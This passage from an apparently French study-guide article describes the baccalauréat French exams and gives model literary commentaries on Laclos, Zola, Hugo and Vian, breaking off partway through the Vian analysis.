• Ne pas citer le texte : C’est primordial ! Dans un commentaire composé, tu dois citer le texte pour illustrer tes propos et surtout montrer à ton professeur que tu as compris les messages transmis. Les citations font partie intégrante de ta copie et plus, elles sont pertinentes, au mieux c’est ! Dis-toi que ta copie doit comporter environ une petite dizaine de citations, que tu essaies de dispatcher dans ton commentaire de façon équilibrée ! De toute façon, si ton plan est bien fait, tu dois pouvoir utiliser une citation dans chacune des sous-parties !

Comment se présentent les épreuves de français ? 

L’épreuve écrite de français .

Le 14 juin prochain, une fois devant ton sujet, tu auras le choix entre deux exercices. Le commentaire de texte ou la dissertation. Tu disposeras ensuite de 4 heures pour travailler sur le sujet de ton choix. Et, quelle que soit ta filière, sache que cette épreuve sera dotée d’un coefficient 5 . 

Le jour de l’examen, ton sujet comprendra 3 sujets de dissertation et un sujet de commentaire de texte. À toi de déterminer celui qui te convient le mieux. 

Pour les élèves de la voie technologique, la dissertation est remplacée par une contraction de texte. Cette modalité implique de reformuler de manière précise et concise le texte qui te sera proposé, tout en respectant la thèse de l’auteur et en tenant du nombre de mots imposés. 

Attention toutefois à ne pas tomber dans le piège de la paraphrase totale du texte, ce qui ne te permettrait pas de synthétiser efficacement et de respecter la limite de mots imposée par l’exercice. Il faut donc que tu réfléchisses pleinement et attentivement à comment être le plus concis(e) possible tout en respectant l’énonciation, la thèse et la structure initiale du texte à contracter. 

L’épreuve orale de français

Pour ce qui est de l’épreuve orale désormais, elle n’a pas grand-chose à voir avec l’écrit… à l’exception du commentaire de texte justement. Le jour de ton passage à l’oral, tu recevras l’extrait d’un texte que tu as travaillé pendant l’année et tu disposeras de 30 minutes pour préparer son commentaire linéaire. Tu auras ensuite 20 minutes pour présenter ton analyse devant un(e) examinateur(rice). 

Pendant cette présentation, plusieurs tâches seront évaluées. Tout d’abord, tu devras lire à voix haute une partie du texte que tu as préparé (2 points), expliquer le texte de façon linéaire en suivant son rythme (8 points), répondre à une question de grammaire (2 points) et enfin, participer à une brève discussion portant sur l’une des œuvres intégrales étudiées en classe (8 points). Tout comme l’épreuve écrite, l’épreuve orale de français est dotée d’un coefficient 5. 

Attention, le commentaire de texte linéaire n’est pas tout à fait la même chose que le commentaire de texte classique. Pour l’oral, tu devras expliquer le texte l’une par ligne (d’où son nom, linéaire). Veille donc à bien revoir la méthodologie de cet exercice avant de te présenter devant ton examinateur (rice).

Lire aussi :   Bac français 2024 : comment se présentent les épreuves écrites et orales ?

Les liaisons dangereuses,  Choderlos de Laclos, exemple épistolaire

Comme nous venons de le rappeler, première étape : une bonne lecture de l’ensemble de l’extrait ! Accroche-toi, cette première lecture est toujours la plus difficile, particulièrement lorsqu’il ne s’agit pas de romans modernes ou contemporains. Si certains mots ou certaines expressions t’échappent un peu dans cet exemple, pas de panique, tu vas utiliser le contexte pour les comprendre.

L’extrait choisi pour ce commentaire n’est autre que la lettre CLIII  du roman épistolaire Les liaisons dangereuses de Pierre Choderlos de Laclos, paru en 1782. Il s’agit d’un bon exemple de texte épistolaire. Le Vicomte de Valmont s’adresse alors à la Marquise de Merteuil.

Commentaire composé  Les liaisons dangereuses,  Choderlos de Laclos

Introduction.

Dans l’introduction de ton commentaire composé, assure-toi de bien mettre en évidence les premières observations générales sur le texte selon l’ordre suivant : le titre et la date de publication de l’œuvre dont est extrait le texte, sa nature ; le thème, le type de narrateur, le registre, les outils majeurs de l’argumentation ; la structure du texte, le plan et la problématique. Pour faire un bon commentaire composé, il est important de respecter cet ordre !

Dans notre exemple, il s’agit d’un texte épistolaire extrait des Liaisons dangereuses de Choderlos de Laclos (1782). Le thème est une relation amoureuse. L’amour et la haine y cohabitent. Le narrateur, comme c’est toujours le cas, est personnage. Le registre est argumentatif et vindicatif. Un amant s’adresse à son amante et la défie. Cette défiance structure le texte, car il y a une gradation dans la tension du Vicomte. Nous étudierons tout d’abord les caractéristiques de la forme épistolaire, puis les sentiments du Vicomte et les outils de son argumentation.

Dans quelle mesure cet extrait épistolaire présente l’évolution belliqueuse d’une relation amoureuse ?

I. La forme épistolaire : la lettre

I.1. L’apostrophe à son amante

La structure narrative de ce texte, typique de la lettre, est l’apostrophe du rédacteur de la lettre à une autre personne. Ici, le Vicomte de Valmont s’adresse à la Marquise de Merteuil. Il s’adresse à elle avec le pronom “vous”, mais nous comprenons très vite qu’ils sont amants (“rester unis comme nous l’avons été” l 7). L’usage du “vous” est caractéristique des lettres d’amour adressées à un amant, d’autant plus au XVIIIe siècle.

I.2. Les tournures classiques du style épistolaire

Ce texte se distingue par l’alliance du discours et des tournures très écrites, très nobles. C’est un aspect que l’on retrouve souvent dans les correspondances internes à la Cour et à la noblesse. Concentrons-nous d’abord sur le discours : “Je réponds sur-le-champ à votre Lettre, et je tâcherai d’être clair” (l 1), “Il n’était donc pas ridicule de vous dire, et il ne l’est pas de vous répéter que, de ce jour même, je serai ou votre Amant ou votre ennemi.” (l 8-9), “Je sens à merveille que ce choix vous gêne” (l 10), “Je vous préviens seulement que vous ne m’abuserez pas” (l 15), “J’ajoute donc que le moindre obstacle mis de votre part sera pris de la mienne pour une véritable déclaration de guerre (…) Deux mots suffisent.” (l 21-23) et “Hé bien ! la guerre.” (l 26).

Le registre est celui de la discussion amoureuse, de la dispute argumentative. Un dialogue entre les deux personnages s’instaure à travers ces tournures. Mais le dialogue n’est pas uniquement oral ici. Le style est très écrit, les tournures complexes : “je tâcherai d’être clair ; ce qui n’est pas facile avec vous, quand une fois vous avez pris le parti de ne pas entendre.” (l 1-2), “je n’ignore pas que vous n’avez jamais aimé à être placée ainsi (…) : mais vous devez sentir aussi que je ne puis vous laisser sortir de ce cercle étroit sans risquer d’être joué ; et vous avez dû prévoir que je ne le souffrirais pas.” (l 11-13). Les tournures comme “quand une fois vous avez pris le parti de ne pas entendre.” et le vocabulaire plutôt recherché (“je ne puis”, “joué”, “je ne le souffrirais pas”) montrent un style délicat et recherché typique de la lettre. Le style est donc bien épistolaire.

I.3. La structure de la lettre

La structure du texte est aussi un bon indice du genre épistolaire.

Le Vicomte commence par annoncer le contexte de sa lettre (“Je réponds sur-le-champ à votre Lettre”), il fait ensuite un état de fait quant à leur relation en se référant à une discussion (ou à une lettre) antérieure (“De longs discours n’étaient pas nécessaires pour établir que (…) nous avons un égal intérêt à nous ménager mutuellement” l 3-5 et “Il n’était donc pas ridicule de vous dire, et il ne l’est pas de vous répéter que, de ce jour même, je serai ou votre Amant ou votre ennemi.” l 8-9), puis il justifie sa lettre (“vous devez sentir aussi que je ne puis vous laisser sortir de ce cercle étroit sans risquer d’être joué” l 12).

Il énonce ensuite l’objet précis de sa lettre (“Je vous préviens seulement que vous ne m’abuserez pas par vos raisonnements” l 15 et ” je préfère la paix et l’union : mais s’il faut rompre l’une ou l’autre, je crois en avoir le droit et les moyens.” l 19-20), et la termine avec des mots concis qui la résument (” le moindre obstacle mis de votre part sera pris de la mienne pour une véritable déclaration de guerre (…) Deux mots suffisent.” l 21-23). C’est la structure classique de la lettre.

Ici, nous avons mis en avant la structure du texte en nous appuyant sur des citations précises !

II. La relation du Vicomte et de la marquise

II.1. L’amour

Étant donné la relation qui semble les unir (ils sont amants), l’amour est le premier sentiment qui les unit. On sait qu’ils ont été très proches (“rester unis comme nous l’avons été, de le devenir davantage encore en reprenant notre première liaison” l 7) et que le vicomte est attaché à la marquise (“perdre l’autre” l 4, “je ne le souffrirais pas” l 13, “je vous déclare avec plaisir que je préfère la paix et l’union” l 19). Cette lettre est d’ailleurs pour lui une ultime tentative de clarification de leur relation et des sentiments de son amante (“je peux vous laisser le choix mais non pas rester dans l’incertitude” l 14).

II.2. La haine

Il est bien connu qu’un amour déçu peut vite tourner à la haine. C’est l’évolution qui a lieu dans cette lettre. La proposition suivante condense ceci : “je serai ou votre Amant ou votre ennemi.” (l 9). On sent une évolution dans la position du vicomte qui refuse à présent de céder aux tentatives de séduction de la marquise (“vous ne m’abuserez pas par vos raisonnements, bons ou mauvais ; que vous ne me séduirez pas davantage par quelques cajoleries dont vous chercheriez à parer vos refus” l 15-16). Il est prêt à rompre leur relation si son amante ne se décide pas à affirmer leur amour (” je préfère la paix et l’union : mais s’il faut rompre l’une ou l’autre, je crois en avoir le droit et les moyens.” l 19).

La rupture se concrétise dans le dernier paragraphe de cette lettre ainsi que dans la réponse de la marquise (“le moindre obstacle mis de votre part sera pris de la mienne pour une véritable déclaration de guerre” l 21, “Eh bien: La guerre” l 26). La haine semble donc lier les deux amants après cet échange de lettres.

II.3. La défiance et l’affrontement

Contrairement à une lettre d’amour classique, celle-ci oppose les amants dans une relation d’affrontement et de défiance. Le vicomte affronte son amante et la menace (“vous ne m’abuserez pas” l 15, “je serai ou votre Amant ou votre ennemi.” l 9). Ses phrases prennent la forme d’un ultimatum. Et la structure diptyque des phrases oppose les amants au lieu de les réunir (“Je sens à merveille que ce choix vous gêne (…) mais vous devez sentir aussi que je ne puis vous laisser sortir de ce cercle étroit sans risquer d’être joué” l 12). Cette lettre acte donc la séparation des amants.

III. Les outils de son argumentation

III.1. La progression logique de la lettre

Comme nous l’avons vu dans l’étude de la structure du texte, la progression de l’argumentation du Vicomte est plutôt logique. Il tente de convaincre la marquise grâce à une argumentation raisonnée et structurée. Par exemple, il insiste sur leur intérêt commun à rester ensemble (“chacun de nous ayant en main tout ce qu’il faut pour perdre l’autre, nous avons un égal intérêt à nous ménager mutuellement” l 4). Il se justifie, son besoin de clarification est très clair dans ces propos. L’argumentation raisonnée et bien structurée fait de ce texte un exemple d’argumentation.

III.2. Les menaces, le jeu sur l’émotion

Pour convaincre la marquise, le Vicomte a aussi recours aux menaces et au jeu sur les émotions. Il insiste d’ailleurs sur leur possible rupture avec des termes forts (“perdre l’autre” l 4). La force et la dureté de ses mots vont avec un ton menaçant (“je tâcherai d’être clair” l 1, “de ce jour même, je serai ou votre Amant ou votre ennemi.” l 9, “le moment de la franchise est arrivé” l 17, “le moindre obstacle mis de votre part sera pris de la mienne pour une véritable déclaration de guerre” l 21). Le Vicomte essaye ainsi de faire peur à la marquise, de rendre dramatique la décision qu’elle prendra et de donner plus de force à ses mots. Il joue sur les possibles émotions de son amante pour la convaincre.

 Dans ta conclusion, il est important que tu synthétises les grandes idées de ton commentaire composé de façon chronologique. Eh oui, être littéraire, c’est aussi savoir synthétiser correctement !

Lire aussi : Français : la métaphore, définition et exemples

L’Œuvre , Emile Zola, exemple de métatextualité

L’extrait suivant est extrait du roman  L’Œuvre , d’Émile Zola, paru en 1886. Le passage se situe au chapitre II, pages 45-47. Il s’agit d’un exemple particulier qui illustre bien le concept de métatextualité. La métatextualité est cet effet qui consiste pour un texte à s’auto-critiquer. Le texte lui-même se regarde dans un miroir et parle de lui. Comment ? À l’aide d’artifices de rédaction qui font comprendre implicitement au lecteur cette métatextualité.

Commentaire composé  L’œuvre , Emile Zola

Notre exemple est un extrait de L’Œuvre d’Emile Zola (1886) où le protagoniste, un artiste peintre, peint un modèle tout en se questionnant sur son travail. Les deux personnages parlent en monologuant. Le thème est évidemment l’art et le narrateur est omniscient. Le registre est interrogatif, l’urgence et le trouble emplissent le texte. Ces monologues sont assez peu structurés, c’est un passage de flux de conscience oral. Nous aborderons tout d’abord la figure de l’artiste, ensuite le contenu des monologues et enfin le caractère métatextuel du passage. Ce qui transparaît à travers les réflexions de l’artiste est la démarche de l’écrivain.

Dans quelle mesure cet extrait de monologues d’artistes tourmentés à la recherche de l’œuvre parfaite présente-t-il une profonde réflexion au sujet des artistes, de l’art et de la création ?

I. Les artistes

I.1. L’artiste peintre

La première chose connue au sujet de l’artiste est sa spécialité, c’est-à-dire la peinture. Lors du passage étudié, il est en train de peindre en prenant pour modèle un ami (“Un grand silence tomba, pendant qu’il achevait d’ébaucher le veston de velours, frémissant. Sandoz l’avait écouté, sans lâcher la pose.” l 10). Les références à des œuvres picturales (“Delacroix”, “Courbet” l 3 et 4) et l’omniprésence du champ lexical de la peinture (“peinture”, “ébaucher”, “esquisses”, “peindre”) nous indiquent que le protagoniste est un jeune artiste peintre.

I.2. L’écrivain

Quant au deuxième personnage, on sait qu’il évolue dans le champ des études et de l’écriture (“chaque fois qu’un professeur a voulu m’imposer une vérité, j’ai eu une révolte de défiance” l 14, “L’hiver précédent, il avait publié son premier livre, une suite d’esquisses aimables, rapportées de Plassans, parmi lesquelles quelques notes plus rudes indiquaient seules le révolté, le passionné de vérité et de puissance.” l 25). C’est un jeune homme rebelle et tourmenté (“révolte de défiance” l 14, “il tâtonnait, il s’interrogeait dans le tourment des idées confuses encore qui battaient son crâne.” l 27). C’est en réalité un écrivain en devenir plutôt qu’un artiste accompli.

I.3. Le désir démiurgique

Ce qui réunit les deux personnages est leur trouble quant à leur art et leur désir de perfection.

Ils se posent en possibles démiurges (personnes qui créent quelque chose d’important) dans le texte. Voici quelques exemples pour l’artiste peintre : “Maintenant, il faut autre chose… Ah ! quoi ? je ne sais pas au juste ! Si je savais et si je pouvais, je serais très fort” (l 1-2), “il faut peut-être le soleil, il faut le plein air, une peinture claire et jeune, les choses et les êtres tels qu’ils se comportent dans la vraie lumière” (l 5) , “Ah ! tout voir et tout peindre ! reprit Claude, après un long intervalle. Avec des lieues de murailles à couvrir, décorer les gares, les halles, les mairies, tout ce qu’on bâtira, quand les architectes ne seront plus des crétins !” (l 35), “toute la vie moderne ! Des fresques hautes comme le Panthéon ! Une sacrée suite de toiles à faire éclater le Louvre !” (l 42).

Et pour Sandoz : “Ah ! que ce serait beau, si l’on tâchait de mettre les choses, les bêtes, les hommes, l’arche immense !” (l 16), “il avait eu le projet d’une genèse de l’univers, en trois phases” (l 29). Ces deux artistes rêvent de faire entrer le monde entier dans leur art, d’atteindre la perfection de la création de Dieu.

II. Les monologues

II.1. Le style du flux de conscience dans des monologues oraux

Le style de ce texte est très intéressant, car deux flux de conscience se répondent sans réellement se répondre. Il y a d’ailleurs un dialogue, ce qui fait que ces deux monologues se répondent et se font écho (“Maintenant, il faut autre chose… Ah ! quoi ? je ne sais pas au juste !” l 1 // “Non, non, on ne sait pas, il faudrait savoir…” l 13 ; “il avait eu le projet d’une genèse de l’univers” l 29 // “Ah ! tout voir et tout peindre !” l 35). Mais les deux artistes ne s’écoutent pas et se parlent à eux-mêmes.

Claude, quand il évoque l’ignorance, fait référence à ce qui manque à son tableau. Tandis que Sandoz parle plutôt des mystères de l’univers. Claude évoque la peinture, Sandoz l’écriture, les sciences et la philosophie. Le style du texte est en fait celui du flux de conscience : grande présence de la ponctuation (…, !, ?), beaucoup de ruptures rythmiques liées aux hésitations de la pensée en mouvement, la succession de propositions diverses et sans réelle structuration (comme la pensée).

II.2. Les questionnements au sujet de l’art

Un des aspects majeurs de ces monologues est l’interrogation au sujet de l’art. Claude s’interroge d’abord sur ce qu’il manque à son œuvre d’art et à l’art de son temps (“Maintenant, il faut autre chose… Ah ! quoi ? je ne sais pas au juste !” l 1, “notre peinture à nous, la peinture que nos yeux d’aujourd’hui doivent faire et regarder.” l 7).

Sandoz questionne ensuite la démarche de création artistique (“Bien sûr, c’est à la science que doivent s’adresser les romanciers et les poètes, elle est aujourd’hui l’unique source possible.” l 21). Il cherche le moyen de faire entrer ses ambitions démiurgiques dans son art (“il cherchait un cadre plus resserré, plus humain, où il ferait tenir pourtant sa vaste ambition.” l 30). Enfin, Claude s’interroge sur sa démarche créatrice (“Ah ! tout voir et tout peindre ! reprit Claude, après un long intervalle. (…) Et il ne faudra que des muscles et une tête solides, car ce ne sont pas les sujets qui manqueront…” l 35-37).

II.3. Les questionnements au sujet de la vérité

La vérité est le deuxième pôle central des deux monologues. Claude cherche à représenter la “lumière” dans sa peinture, lumière que l’on peut associer à la vérité (référence possible à  l’allégorie de la caverne du célèbre Platon ). De plus, comme nous l’avons vu précédemment, il recherche la perfection dans son art. Or la perfection, en langage divin, est synonyme de vérité. Il désire rendre avec une vérité parfaite le monde qui l’entoure.

Quant à Sandoz, c’est un jeune homme obsédé par la vérité. Il remet en question ce que lui disent ses professeurs (“chaque fois qu’un professeur a voulu m’imposer une vérité, j’ai eu une révolte de défiance, en songeant : “Il se trompe ou il me trompe.” l 14-15), s’interroge sans cesse sur la genèse et sur la vérité (“Ah ! si je savais, si je savais, quelle série de bouquins je lancerais à la tête de la foule !” l 24). Il est “le révolté, le passionné de vérité et de puissance.” (l 27).

III. Un texte métatextuel : une représentation ironique de l’écrivain lui-même

III.1. Le trouble de l’artiste au moment de créer

Si l’on considère que ce texte se compose de deux monologues interrogatifs et exclamatifs de deux artistes au sujet de leur art, nous pouvons affirmer que ce texte présente l’archétype de l’artiste tourmenté au moment du travail de création. Au moment de créer, l’artiste est troublé, car il y met tout son être, s’investit corps et âme dans son art et tente de trouver la meilleure manière de communiquer ceci au spectateur. Les états d’âme et les multiples questionnements afin de produire ce qu’il désire sont des caractéristiques de l’artiste présentes dans le texte. L’omniprésence des interrogations nous montre un artiste en perpétuel renouvellement.

III.2. La recherche de la perfection

Les deux personnages sont obsédés par la recherche de la perfection, de la lumière divine et de la vérité suprême. Claude rêve de rendre le monde entier dans sa peinture, tel Dieu. Il cherche à produire une œuvre totale, parfaite. Tandis que Sandoz cherche à produire la genèse dans ses écrits. Tel l’écrivain de la Bible, il veut rendre l’humanité et le monde dans son art. Or cette recherche de la perfection est caractéristique de l’artiste, de l’écrivain. Celui-ci recherche la perfection de la forme, du style, il produit un travail esthétique et très recherché. Un écrivain est sans cesse en train de retoucher ses brouillons pour produire une œuvre plus belle.

III.3. L’ironie

Toutefois, cette représentation de l’écrivain est tout à fait ironique. Claude est un peintre dont le travail est avorté avant même de naître (“Sa voix s’éteignit de nouveau, il bégayait, n’arrivait pas à formuler la sourde éclosion d’avenir qui montait en lui. Un grand silence tomba, pendant qu’il achevait d’ébaucher le veston de velours, frémissant.” l 9-11). D’ailleurs, la seule évocation de sa peinture est la référence au veston. Ses réflexions omniprésentes l’empêchent de créer. Sandoz aussi est un artiste raté dont le travail est avorté (“Et, depuis, il tâtonnait, il s’interrogeait dans le tourment des idées confuses encore qui battaient son crâne.” l 27, “il avait eu le projet (…) Mais il s’était refroidi”). Ces deux artistes sont en réalité des archétypes de l’artiste raté et improductif, car trop porté sur la réflexion. Le manque d’action dans le passage appuie cette ironie de l’auteur.

Ici, tu devras d’abord revenir sur les portraits des deux protagonistes, puis sur leurs monologues qui se répondent sans vraiment le faire et, enfin, insister sur le caractère métatextuel de ce passage qui présente avec ironie la figure archétypique du jeune artiste en mal de création.

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Notre-Dame de Paris, Victor Hugo, exemple de description

L’extrait suivant est extrait du roman culte de Victor Hugo , Notre-Dame de Paris , paru en 1831. Le passage se situe au livre II, chapitre 6 et s’intitule La cruche cassée . À travers cet exemple, nous traitons du vaste sujet des descriptions !

Commentaire composé  Notre-Dame de Paris, Victor Hugo

Notre exemple est un extrait de Notre-Dame de Paris de l’auteur français Victor Hugo (paru en 1831). C’est un texte principalement descriptif. Le thème est un élément historique et légendaire, car il s’agit de la Cour des Miracles, lieu de vie des pires brigands de Paris. Le narrateur est omniscient et le registre fantastique. Le texte est structuré en deux parties, d’abord une évocation narrative de ce qu’est la Cour des Miracles puis sa description. Nous étudierons d’abord la Cour des Miracles, puis l’évocation fantastique qui en est faite et enfin l’écriture multigenre de ce passage.

Dans quelle mesure ce passage au cadre fantastique contribue-t-il à poétiser et à narrativiser un élément historique ?

I. La Cour des Miracles

I.1. Un espace

Tout d’abord, la Cour des Miracles était une zone au sein de Paris, un espace que la légende urbaine affirme avoir été réel. Nous savons grâce aux péripéties antérieures du poète Gringoire (il s’est perdu dans les petites rues de Paris, a couru et est arrivé sans savoir comment à la Cour des Miracles) que ce n’est pas un espace facile à trouver. Il semble se situer au milieu d’un dédale, d’un labyrinthe de rues.

Dans le passage, nous en avons une description spatiale assez peu détaillée : “C’était une vaste place, irrégulière et mal pavée, comme toutes les places de Paris alors.” (l 13), “Le rayonnement chancelant et pauvre des feux permettait à Gringoire de distinguer, à travers son trouble, tout à l’entour de l’immense place, un hideux encadrement de vieilles maisons dont les façades vermoulues, ratatinées, rabougries, percées chacune d’une ou deux lucarnes éclairées” (l 25-27). De ces deux phrases, nous pouvons retenir que c’est un espace plutôt vétuste dans ses installations, sombre et pauvre.

I.2. Un univers diabolisé

En plus de se situer au cœur d’un labyrinthe de rues et de manquer de moyens, cet espace est diabolisé par les Parisiens et par l’auteur. Nous le voyons tout d’abord dans les premiers mots de Gringoire, archétypique du parisien qui a peur de la Cour des Miracles comme de l’enfer : “Il était en effet dans cette redoutable Cour des Miracles, où jamais honnête homme n’avait pénétré à pareille heure ; cité des voleurs, hideuse verrue à la face de Paris ; égout d’où s’échappait chaque matin, et où revenait croupir chaque nuit ce ruisseau de vices, de mendicité et de vagabondage ; ruche monstrueuse (…) hôpital menteur où (…) les vauriens de toutes les nations (…) se transfiguraient la nuit en brigands ; immense vestiaire, en un mot, où s’habillaient et se déshabillaient à cette époque tous les acteurs de cette comédie éternelle que le vol, la prostitution et le meurtre jouent sur le pavé de Paris.” (l 1-12).

Les champs sémantiques de l’immoralité, de la laideur et du larcin sont omniprésents dans cette description subjective. On y sent le poids des rumeurs qui circulent dans Paris au sujet de cet espace dont tout homme qui se respecte se tient à l’écart.

La diabolisation est aussi présente dans la description narrative faite par l’auteur à travers le regard de Gringoire : le motif du feu revient plusieurs fois (“Des feux”, “la clarté des feux”, “Le rayonnement chancelant et pauvre des feux”), ainsi que celui du cercle de l’enfer (“autour desquels fourmillaient des groupes”, “d’énormes têtes de vieilles femmes, rangées en cercles, monstrueuses et rechignées, qui regardaient le sabbat en clignant des yeux.” l 27-28) et celui du chien des enfers (“un chien qui ressemblait à un homme, un homme qui ressemblait à un chien” l 20, chiasme). De plus, les êtres qui peuplent cet espace sont animalisés et associés au feu. Le cadre créé est parfaitement similaire à celui des enfers.

I.3. Des personnages particuliers

Les êtres qui peuplent la Cour des Miracles sont divers et variés, mais tous font partie des classes basses de la société. Ils sont diabolisés (comme nous l’avons vu précédemment) et considérablement dénigrés par Gringoire. Voici comment il qualifie la Cour des Miracles et ses habitants : des “voleurs”, “égout d’où s’échappait chaque matin, et où revenait croupir chaque nuit ce ruisseau de vices, de mendicité et de vagabondage toujours débordé dans les rues des capitales ; ruche monstrueuse où rentraient le soir avec leur butin tous les frelons de l’ordre social ; hôpital menteur où le bohémien, le moine défroqué, l’écolier perdu, les vauriens de toutes les nations (…) mendiant le jour, se transfiguraient la nuit en brigands ; immense vestiaire, en un mot, où s’habillaient et se déshabillaient à cette époque tous les acteurs de cette comédie éternelle que le vol, la prostitution et le meurtre jouent sur le pavé de Paris.” (l 4-12).

Tous sont des mendiants, des éclopés, des truands, des voleurs ou des vauriens qui sont associés à la laideur et au vice. Ils sont l’anti-monde de Paris, une foule d’anti-héros laids et effrayants. Ils sont même associés aux animaux : “fourmillaient des groupes étranges” (l 14), “On entendait des rires aigus, des vagissements d’enfants, des voix de femmes.” (l 15), “on pouvait voir passer un chien qui ressemblait à un homme, un homme qui ressemblait à un chien. Les limites des races et des espèces semblaient s’effacer dans cette cité comme dans un pandémonium. Hommes, femmes, bêtes, âge, sexe, santé, maladies, tout semblait être en commun parmi ce peuple” (l 19-21). Les êtres qui occupent la Cour des Miracles, entre brigands, damnés et animaux (“vestiaire”) semblent ainsi former une société à part.

II. L’évocation fantastique de la Cour des Miracles

II.1. L’évocation de l’espace

La description de l’espace de la Cour des Miracles, totalement subjective et influencée par la peur de Gringoire, est fantastique. Il semble prendre vie et piéger les acteurs. Gringoire y fait d’abord référence avec ces termes : “ cercle magique où les officiers du Châtelet et les sergents de la prévôté qui s’y aventuraient disparaissaient en miettes” (l 2-3). Il y a ici une référence officieuse au triangle des Bermudes, espace où les navigateurs disparaissent comme par magie.

L’aspect fantastique est aussi présent dans la personnification de la place : “ruche monstrueuse”, “tout à l’entour de l’immense place, un hideux encadrement de vieilles maisons dont les façades vermoulues, ratatinées, rabougries, percées chacune d’une ou deux lucarnes éclairées, lui semblaient dans l’ombre d’énormes têtes de vieilles femmes, rangées en cercles, monstrueuses et rechignées, qui regardaient le sabbat en clignant des yeux.” (l 25-28). La place et les habitations prennent vie, mises en mouvement par l’action des feux et des êtres : “Par moments, sur le sol, où tremblait la clarté des feux, mêlée à de grandes ombres indéfinies” (l 17). L’espace est donc décrit comme un univers fantastique, vivant.

II.2. La dimension temporelle

La scène a lieu à l’aube, donc sous un ciel encore obscur et ténébreux. Or la nuit est la dimension temporelle clef pour une mise en scène fantastique. En effet, la répétition des “feux” montre bien que la scène a lieu de nuit. L’obscurité qui règne, entoure et cache les acteurs, contribue à créer une ambiance fantastique dans ce passage. Le temps, symbolisé par les flammes, semble avoir suspendu son cours. C’est caractéristique du fantastique.

II.3. La description des personnages et de leurs actions

Enfin, les personnages et leurs actions, leurs mouvements sont décrits d’une manière telle qu’elle renforce et rend crédible l’univers fantastique. Ils apparaissent tout d’abord sous la forme d’une masse informe et fourmillante : “Des feux, autour desquels fourmillaient des groupes étranges, y brillaient çà et là. Tout cela allait, venait, criait. On entendait des rires aigus, des vagissements d’enfants, des voix de femmes. Les mains, les têtes de cette foule, noires sur le fond lumineux, y découpaient mille gestes bizarres.” (l 14-17).

Ils sont ensuite animalisés et présentés comme un “vestiaire” (comme les vestiaires de l’enfer) : “on pouvait voir passer un chien qui ressemblait à un homme, un homme qui ressemblait à un chien. Les limites des races et des espèces semblaient s’effacer dans cette cité comme dans un pandémonium.” (l 19-20). Mais le plus intéressant est l’impression de masse et de confusion qui s’en dégage : “Hommes, femmes, bêtes, âge, sexe, santé, maladies, tout semblait être en commun parmi ce peuple ; tout allait ensemble, mêlé, confondu, superposé ; chacun y participait de tout.” (l 21-23). Ils semblent se transformer dans la Cour des Miracles : ils “se transfiguraient la nuit en brigands” D’où la dernière phrase du passage qui explicite son caractère fantastique : “C’était comme un nouveau monde, inconnu, inouï, difforme, reptile, fourmillant, fantastique.” (l 29).

III. L’écriture multigenre

III.1. Les images et métaphores utilisées

Le caractère étrange et surprenant des comparaisons et métaphores utilisées donne un caractère poétique à cet extrait de roman. Par exemple, les analogies entre la masse d’hommes et une fourmilière, ou entre des habitations et des visages de vieilles femmes semblent sorties d’un imaginaire unique et particulier, celui de Gringoire. Hors du temps, la description qui est donnée de cette scène nous place dans un univers sombre, effrayant et poétique.

III.2. Le jeu sur le rythme

Dans ce passage principalement descriptif, le travail du rythme est très intéressant, car il rappelle celui présent dans un texte poétique. Victor Hugo joue sur les ruptures et les alternances de rythme : une première phrase courte précède une phrase très longue (12 lignes) faite de nombreuses propositions énumératives courtes au rythme tranché. Et par la suite, la fin du paragraphe est composée d’une succession de phrases plutôt courtes qui donnent un rythme haché au texte. Tandis que l’avant-dernier paragraphe ne constitue qu’une phrase énumérative.

La dernière phrase, courte, mais énumérative et construite avec une gradation, clôt ce jeu sur les ruptures rythmiques. Il faut aussi signaler les nombreuses énumérations et gradations du texte qui lui donnent un rythme soutenu et poétique (exemple : “C’était comme un nouveau monde, inconnu, inouï, difforme, reptile, fourmillant, fantastique.” l 29). Le jeu sur le rythme est ici fondamental dans une écriture multigenre, romanesque et poétique.

Dans le cas présent, il est important que tu reviennes sur le caractère fantastique de cet extrait descriptif au sujet de la Cour des Miracles, puis que tu mettes en évidence le lien étroit entre récit et histoire dans cette œuvre de Victor Hugo. L’auteur tisse les références au monde réel en y ajoutant ça et là des éléments du récit. Enfin, montrer la modernité de cet extrait multigenre.

Ouverture possible pour le commentaire composé

La Cour des Miracles, élément qui pourrait être qualifié d’historique car les historiens y font référence dans leurs descriptions du Paris du XVe siècle, n’apparaît pourtant sur aucune carte de Paris de l’époque. En effet, elle fait donc plutôt partie de l’imaginaire social que de l’histoire attestée. Or, dans ce passage Victor Hugo en fait un espace réel, il lui donne un corps dans le texte. Il met ainsi la fiction au service du roman, il lui donne plus de réalité et de vraisemblance.

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L’Écume des jours , Boris Vian, exemple de texte surréaliste métaphorique

L’extrait ci-dessous est tiré du roman L’Écume des jours, de Boris Vian, paru en 1947. Le passage se situe au chapitre 40, pages 212-213. Nous avons choisi cet exemple pour traiter des textes surréalistes et de l’utilisation des métaphores !

Commentaire composé  L’Écume des jours , Boris Vian

Introduction .

L’extrait présenté ici en exemple est tiré d’un roman de Boris Vian, L’écume des jours (1947). C’est un texte surréaliste composé de dialogues entre les trois personnages principaux de l’œuvre (Colin, Chloé et Nicolas). Le registre y est absurde et tragique. L’extrait se structure en deux parties, tout d’abord l’évocation de la maladie de Chloé (elle a un nénuphar sur le poumon), puis du traitement préconisé par le docteur (pas d’eau et des fleurs autour d’elle). Nous étudierons tout d’abord la métaphorisation de la maladie et ensuite le caractère tragique de la scène caché sous l’omniprésence des images absurdes et poétiques.

Dans quelle mesure le recours à la métaphore et à l’absurde renforce-t-il le poids de la maladie et le caractère tragique de la scène ?

I. La métaphorisation de la maladie

La maladie de Chloé est totalement métaphorisée, rien ne rattache le lecteur à une situation plus réaliste. L’auteur a recours à des images, des métaphores et des analogies, mais pas à des comparaisons.

I.1. Le nénuphar // la tumeur

Chloé est atteinte d’une maladie que l’on sait très grave, qui lui donne froid et la fatigue. Selon le docteur, elle a un “nénuphar” “dans le poumon droit”. Colin répète les paroles du docteur à Nicolas (“Le professeur croyait au début que c’était seulement quelque chose d’animal. Mais c’est ça. On l’a vu sur l’écran. Il est déjà assez grand, mais, enfin, on doit pouvoir en venir à bout.” l 25).

